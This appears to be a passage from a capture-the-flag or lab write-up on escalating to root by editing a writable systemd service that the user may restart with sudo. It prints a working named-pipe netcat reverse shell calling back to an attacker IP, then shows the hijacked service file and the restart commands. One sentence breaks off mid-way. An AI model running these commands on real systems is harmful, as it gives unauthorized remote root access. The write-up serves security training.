Writable Service with sudo


It has been identified that the spidey user has

Those conditions allows the user to escalate privileges to the root account.

spidey@spidersociety:/dev/shm$ nano pe.sh 
spidey@spidersociety:/dev/shm$ cat pe.sh 
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.182 1234 >/tmp/f

Creating a reverse shell script; /dev/shm/pe.sh

spidey@spidersociety:/dev/shm$ nano /etc/systemd/system/spiderbackup.service
spidey@spidersociety:/dev/shm$ cat /etc/systemd/system/spiderbackup.service
[Unit]
Description=Spider Society Backup Service
After=network.target
 
[Service]
Type=simple
ExecStart=/dev/shm/pe.sh
User=root
Group=root
 
[Install]
WantedBy=multi-user.target

Updated the service file to execute the reverse shell script.

spidey@spidersociety:/dev/shm$ sudo -u root /bin/systemctl daemon-reload
spidey@spidersociety:/dev/shm$ sudo -u root /bin/systemctl restart spiderbackup.service

Reloading the updated service file and restarting the spiderbackup.service service.

System level compromise.